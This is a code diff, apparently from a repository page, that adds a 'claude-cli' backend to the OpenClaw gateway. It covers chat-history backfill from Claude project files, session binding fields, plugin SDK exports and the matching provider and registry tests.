describe("gateway server chat", () => {
|
||||
test("chat.history backfills claude-cli sessions from Claude project files", async () => {
|
||||
await withGatewayChatHarness(async ({ ws, createSessionDir }) => {
|
||||
await connectOk(ws);
|
||||
const sessionDir = await createSessionDir();
|
||||
const originalHome = process.env.HOME;
|
||||
const homeDir = path.join(sessionDir, "home");
|
||||
const cliSessionId = "5b8b202c-f6bb-4046-9475-d2f15fd07530";
|
||||
const claudeProjectsDir = path.join(homeDir, ".claude", "projects", "workspace");
|
||||
await fs.mkdir(claudeProjectsDir, { recursive: true });
|
||||
await fs.writeFile(
|
||||
path.join(claudeProjectsDir, `${cliSessionId}.jsonl`),
|
||||
[
|
||||
JSON.stringify({
|
||||
type: "queue-operation",
|
||||
operation: "enqueue",
|
||||
timestamp: "2026-03-26T16:29:54.722Z",
|
||||
sessionId: cliSessionId,
|
||||
content: "[Thu 2026-03-26 16:29 GMT] hi",
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "user",
|
||||
uuid: "user-1",
|
||||
timestamp: "2026-03-26T16:29:54.800Z",
|
||||
message: {
|
||||
role: "user",
|
||||
content:
|
||||
'Sender (untrusted metadata):\n```json\n{"label":"openclaw-control-ui"}\n```\n\n[Thu 2026-03-26 16:29 GMT] hi',
|
||||
},
|
||||
}),
|
||||
JSON.stringify({
|
||||
type: "assistant",
|
||||
uuid: "assistant-1",
|
||||
timestamp: "2026-03-26T16:29:55.500Z",
|
||||
message: {
|
||||
role: "assistant",
|
||||
model: "claude-sonnet-4-6",
|
||||
content: [{ type: "text", text: "hello from Claude" }],
|
||||
},
|
||||
}),
|
||||
].join("\n"),
|
||||
"utf-8",
|
||||
);
|
||||
process.env.HOME = homeDir;
|
||||
try {
|
||||
await writeSessionStore({
|
||||
entries: {
|
||||
main: {
|
||||
sessionId: "sess-main",
|
||||
updatedAt: Date.now(),
|
||||
modelProvider: "claude-cli",
|
||||
model: "claude-sonnet-4-6",
|
||||
cliSessionBindings: {
|
||||
"claude-cli": {
|
||||
sessionId: cliSessionId,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const messages = await fetchHistoryMessages(ws);
|
||||
expect(messages).toHaveLength(2);
|
||||
expect(messages[0]).toMatchObject({
|
||||
role: "user",
|
||||
content: "hi",
|
||||
});
|
||||
expect(messages[1]).toMatchObject({
|
||||
role: "assistant",
|
||||
provider: "claude-cli",
|
||||
});
|
||||
} finally {
|
||||
if (originalHome === undefined) {
|
||||
delete process.env.HOME;
|
||||
} else {
|
||||
process.env.HOME = originalHome;
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
test("smoke: caps history payload and preserves routing metadata", async () => {
|
||||
await withGatewayChatHarness(async ({ ws, createSessionDir }) => {
|
||||
const historyMaxBytes = 64 * 1024;
|
||||
|
||||
@@ -1340,6 +1340,17 @@ describe("gateway server sessions", () => {
|
||||
execAsk: "on-miss",
|
||||
execNode: "mac-mini",
|
||||
displayName: "Ops Child",
|
||||
cliSessionIds: {
|
||||
"claude-cli": "cli-session-123",
|
||||
},
|
||||
cliSessionBindings: {
|
||||
"claude-cli": {
|
||||
sessionId: "cli-session-123",
|
||||
authProfileId: "anthropic:work",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
},
|
||||
},
|
||||
claudeCliSessionId: "cli-session-123",
|
||||
deliveryContext: {
|
||||
channel: "discord",
|
||||
to: "discord:child",
|
||||
@@ -1389,6 +1400,17 @@ describe("gateway server sessions", () => {
|
||||
execAsk?: string;
|
||||
execNode?: string;
|
||||
displayName?: string;
|
||||
cliSessionBindings?: Record<
|
||||
string,
|
||||
{
|
||||
sessionId?: string;
|
||||
authProfileId?: string;
|
||||
extraSystemPromptHash?: string;
|
||||
mcpConfigHash?: string;
|
||||
}
|
||||
>;
|
||||
cliSessionIds?: Record<string, string>;
|
||||
claudeCliSessionId?: string;
|
||||
deliveryContext?: {
|
||||
channel?: string;
|
||||
to?: string;
|
||||
@@ -1433,6 +1455,17 @@ describe("gateway server sessions", () => {
|
||||
expect(reset.payload?.entry.execAsk).toBe("on-miss");
|
||||
expect(reset.payload?.entry.execNode).toBe("mac-mini");
|
||||
expect(reset.payload?.entry.displayName).toBe("Ops Child");
|
||||
expect(reset.payload?.entry.cliSessionBindings).toEqual({
|
||||
"claude-cli": {
|
||||
sessionId: "cli-session-123",
|
||||
authProfileId: "anthropic:work",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
},
|
||||
});
|
||||
expect(reset.payload?.entry.cliSessionIds).toEqual({
|
||||
"claude-cli": "cli-session-123",
|
||||
});
|
||||
expect(reset.payload?.entry.claudeCliSessionId).toBe("cli-session-123");
|
||||
expect(reset.payload?.entry.deliveryContext).toEqual({
|
||||
channel: "discord",
|
||||
to: "discord:child",
|
||||
@@ -1477,6 +1510,17 @@ describe("gateway server sessions", () => {
|
||||
execAsk?: string;
|
||||
execNode?: string;
|
||||
displayName?: string;
|
||||
cliSessionBindings?: Record<
|
||||
string,
|
||||
{
|
||||
sessionId?: string;
|
||||
authProfileId?: string;
|
||||
extraSystemPromptHash?: string;
|
||||
mcpConfigHash?: string;
|
||||
}
|
||||
>;
|
||||
cliSessionIds?: Record<string, string>;
|
||||
claudeCliSessionId?: string;
|
||||
deliveryContext?: {
|
||||
channel?: string;
|
||||
to?: string;
|
||||
@@ -1519,6 +1563,17 @@ describe("gateway server sessions", () => {
|
||||
expect(store["agent:main:subagent:child"]?.execAsk).toBe("on-miss");
|
||||
expect(store["agent:main:subagent:child"]?.execNode).toBe("mac-mini");
|
||||
expect(store["agent:main:subagent:child"]?.displayName).toBe("Ops Child");
|
||||
expect(store["agent:main:subagent:child"]?.cliSessionBindings).toEqual({
|
||||
"claude-cli": {
|
||||
sessionId: "cli-session-123",
|
||||
authProfileId: "anthropic:work",
|
||||
extraSystemPromptHash: "prompt-hash",
|
||||
},
|
||||
});
|
||||
expect(store["agent:main:subagent:child"]?.cliSessionIds).toEqual({
|
||||
"claude-cli": "cli-session-123",
|
||||
});
|
||||
expect(store["agent:main:subagent:child"]?.claudeCliSessionId).toBe("cli-session-123");
|
||||
expect(store["agent:main:subagent:child"]?.deliveryContext).toEqual({
|
||||
channel: "discord",
|
||||
to: "discord:child",
|
||||
|
||||
@@ -25,6 +25,7 @@ export * from "../agents/agent-command.js";
|
||||
export * from "../tts/tts.js";
|
||||
|
||||
export {
|
||||
CLAUDE_CLI_PROFILE_ID,
|
||||
CODEX_CLI_PROFILE_ID,
|
||||
dedupeProfileIds,
|
||||
listProfilesForProvider,
|
||||
|
||||
14
src/plugin-sdk/anthropic-cli.ts
Normal file
14
src/plugin-sdk/anthropic-cli.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
// Manual facade. Keep loader boundary explicit.
|
||||
type FacadeModule = typeof import("@openclaw/anthropic/api.js");
|
||||
import { loadBundledPluginPublicSurfaceModuleSync } from "./facade-runtime.js";
|
||||
|
||||
function loadFacadeModule(): FacadeModule {
|
||||
return loadBundledPluginPublicSurfaceModuleSync<FacadeModule>({
|
||||
dirName: "anthropic",
|
||||
artifactBasename: "api.js",
|
||||
});
|
||||
}
|
||||
export const CLAUDE_CLI_BACKEND_ID: FacadeModule["CLAUDE_CLI_BACKEND_ID"] =
|
||||
loadFacadeModule()["CLAUDE_CLI_BACKEND_ID"];
|
||||
export const isClaudeCliProvider: FacadeModule["isClaudeCliProvider"] = ((...args) =>
|
||||
loadFacadeModule()["isClaudeCliProvider"](...args)) as FacadeModule["isClaudeCliProvider"];
|
||||
@@ -10,7 +10,7 @@ export type { ProviderAuthResult } from "../plugins/types.js";
|
||||
export type { ProviderAuthContext } from "../plugins/types.js";
|
||||
export type { AuthProfileStore, OAuthCredential } from "../agents/auth-profiles/types.js";
|
||||
|
||||
export { CODEX_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
|
||||
export { CLAUDE_CLI_PROFILE_ID, CODEX_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
|
||||
export { ensureAuthProfileStore } from "../agents/auth-profiles/store.js";
|
||||
export {
|
||||
listProfilesForProvider,
|
||||
@@ -18,6 +18,7 @@ export {
|
||||
upsertAuthProfileWithLock,
|
||||
} from "../agents/auth-profiles/profiles.js";
|
||||
export { resolveEnvApiKey } from "../agents/model-auth-env.js";
|
||||
export { readClaudeCliCredentialsCached } from "../agents/cli-credentials.js";
|
||||
export { suggestOAuthProfileIdForLegacyDefault } from "../agents/auth-profiles/repair.js";
|
||||
export {
|
||||
MINIMAX_OAUTH_MARKER,
|
||||
|
||||
@@ -23,8 +23,9 @@ describe("applyProviderAuthConfigPatch", () => {
|
||||
agents: {
|
||||
defaults: {
|
||||
models: {
|
||||
"codex-cli/gpt-5.4": { alias: "Codex" },
|
||||
"google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini" },
|
||||
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
|
||||
"claude-cli/claude-opus-4-6": { alias: "Opus" },
|
||||
"openai/gpt-5.2": {},
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
@@ -305,16 +305,16 @@ describe("provider-runtime", () => {
|
||||
it("matches providers by hook alias for runtime hook lookup", () => {
|
||||
resolvePluginProvidersMock.mockReturnValue([
|
||||
{
|
||||
id: "openai-codex",
|
||||
label: "OpenAI Codex",
|
||||
hookAliases: ["codex-cli"],
|
||||
id: "anthropic",
|
||||
label: "Anthropic",
|
||||
hookAliases: ["claude-cli"],
|
||||
auth: [],
|
||||
},
|
||||
]);
|
||||
|
||||
expectProviderRuntimePluginLoad({
|
||||
provider: "codex-cli",
|
||||
expectedPluginId: "openai-codex",
|
||||
provider: "claude-cli",
|
||||
expectedPluginId: "anthropic",
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -225,6 +225,39 @@ describe("provider wizard boundaries", () => {
|
||||
},
|
||||
resolveWizard: (provider: ProviderPlugin) => provider.auth[0]?.wizard,
|
||||
},
|
||||
{
|
||||
name: "returns method wizard metadata for canonical choices",
|
||||
provider: makeProvider({
|
||||
id: "anthropic",
|
||||
label: "Anthropic",
|
||||
auth: [
|
||||
{
|
||||
id: "cli",
|
||||
label: "Claude CLI",
|
||||
kind: "custom",
|
||||
wizard: {
|
||||
choiceId: "anthropic-cli",
|
||||
modelAllowlist: {
|
||||
allowedKeys: ["claude-cli/claude-sonnet-4-6"],
|
||||
initialSelections: ["claude-cli/claude-sonnet-4-6"],
|
||||
message: "Claude CLI models",
|
||||
},
|
||||
},
|
||||
run: vi.fn(),
|
||||
},
|
||||
],
|
||||
}),
|
||||
choice: "anthropic-cli",
|
||||
expectedOption: {
|
||||
value: "anthropic-cli",
|
||||
label: "Anthropic",
|
||||
groupId: "anthropic",
|
||||
groupLabel: "Anthropic",
|
||||
groupHint: undefined,
|
||||
hint: undefined,
|
||||
},
|
||||
resolveWizard: (provider: ProviderPlugin) => provider.auth[0]?.wizard,
|
||||
},
|
||||
] as const)("$name", ({ provider, choice, expectedOption, resolveWizard }) => {
|
||||
expectSingleWizardChoice({
|
||||
provider,
|
||||
|
||||
@@ -26,6 +26,7 @@ let setActivePluginRegistry: SetActivePluginRegistry;
|
||||
function createManifestProviderPlugin(params: {
|
||||
id: string;
|
||||
providerIds: string[];
|
||||
cliBackends?: string[];
|
||||
origin?: "bundled" | "workspace";
|
||||
enabledByDefault?: boolean;
|
||||
modelSupport?: { modelPrefixes?: string[]; modelPatterns?: string[] };
|
||||
@@ -35,7 +36,7 @@ function createManifestProviderPlugin(params: {
|
||||
enabledByDefault: params.enabledByDefault,
|
||||
channels: [],
|
||||
providers: params.providerIds,
|
||||
cliBackends: [],
|
||||
cliBackends: params.cliBackends ?? [],
|
||||
modelSupport: params.modelSupport,
|
||||
skills: [],
|
||||
hooks: [],
|
||||
@@ -69,6 +70,7 @@ function setOwningProviderManifestPlugins() {
|
||||
createManifestProviderPlugin({
|
||||
id: "anthropic",
|
||||
providerIds: ["anthropic"],
|
||||
cliBackends: ["claude-cli"],
|
||||
modelSupport: {
|
||||
modelPrefixes: ["claude-"],
|
||||
},
|
||||
@@ -92,6 +94,7 @@ function setOwningProviderManifestPluginsWithWorkspace() {
|
||||
createManifestProviderPlugin({
|
||||
id: "anthropic",
|
||||
providerIds: ["anthropic"],
|
||||
cliBackends: ["claude-cli"],
|
||||
modelSupport: {
|
||||
modelPrefixes: ["claude-"],
|
||||
},
|
||||
@@ -278,6 +281,7 @@ describe("resolvePluginProviders", () => {
|
||||
it("maps cli backend ids to owning plugin ids via manifests", () => {
|
||||
setOwningProviderManifestPlugins();
|
||||
|
||||
expectOwningPluginIds("claude-cli", ["anthropic"]);
|
||||
expectOwningPluginIds("codex-cli", ["openai"]);
|
||||
});
|
||||
|
||||
|
||||
@@ -677,20 +677,20 @@ describe("plugin status reports", () => {
|
||||
it("treats a CLI-command-only plugin as a non-capability", () => {
|
||||
setSinglePluginLoadResult(
|
||||
createPluginRecord({
|
||||
id: "openai",
|
||||
name: "OpenAI",
|
||||
cliCommands: ["openai"],
|
||||
id: "anthropic",
|
||||
name: "Anthropic",
|
||||
cliBackendIds: ["claude-cli"],
|
||||
}),
|
||||
);
|
||||
|
||||
const inspect = expectInspectReport("openai");
|
||||
const inspect = expectInspectReport("anthropic");
|
||||
|
||||
expectInspectShape(inspect, {
|
||||
shape: "non-capability",
|
||||
capabilityMode: "none",
|
||||
capabilityKinds: [],
|
||||
});
|
||||
expect(inspect.capabilities).toEqual([]);
|
||||
expect(inspect.capabilities).toEqual([{ kind: "cli-backend", ids: ["claude-cli"] }]);
|
||||
});
|
||||
|
||||
it("builds compatibility warnings for legacy compatibility paths", () => {
|
||||
|
||||
@@ -2004,7 +2004,7 @@ export type OpenClawPluginService = {
|
||||
|
||||
/** Plugin-owned CLI backend defaults used by the text-only CLI runner. */
|
||||
export type CliBackendPlugin = {
|
||||
/** Provider id used in model refs, for example `codex-cli/gpt-5`. */
|
||||
/** Provider id used in model refs, for example `claude-cli/opus`. */
|
||||
id: string;
|
||||
/** Default backend config before user overrides from `agents.defaults.cliBackends`. */
|
||||
config: CliBackendConfig;
|
||||
|
||||
@@ -7,6 +7,7 @@ export const pluginRegistrationContractCases = {
|
||||
pluginId: "anthropic",
|
||||
providerIds: ["anthropic"],
|
||||
mediaUnderstandingProviderIds: ["anthropic"],
|
||||
cliBackendIds: ["claude-cli"],
|
||||
requireDescribeImages: true,
|
||||
},
|
||||
brave: {
|
||||
|
||||
@@ -11,6 +11,7 @@ import { loadPluginManifestRegistry } from "../../../src/plugins/manifest-regist
|
||||
|
||||
type PluginRegistrationContractParams = {
|
||||
pluginId: string;
|
||||
cliBackendIds?: string[];
|
||||
providerIds?: string[];
|
||||
webFetchProviderIds?: string[];
|
||||
webSearchProviderIds?: string[];
|
||||
@@ -121,6 +122,12 @@ function findMusicGenerationProviderIds(pluginId: string) {
|
||||
|
||||
export function describePluginRegistrationContract(params: PluginRegistrationContractParams) {
|
||||
describe(`${params.pluginId} plugin registration contract`, () => {
|
||||
if (params.cliBackendIds) {
|
||||
it("keeps bundled cli-backend ownership explicit", () => {
|
||||
expect(findRegistration(params.pluginId).cliBackendIds).toEqual(params.cliBackendIds);
|
||||
});
|
||||
}
|
||||
|
||||
if (params.providerIds) {
|
||||
it("keeps bundled provider ownership explicit", () => {
|
||||
expect(findRegistration(params.pluginId).providerIds).toEqual(params.providerIds);
|
||||
|
||||
Reference in New Issue
Block a user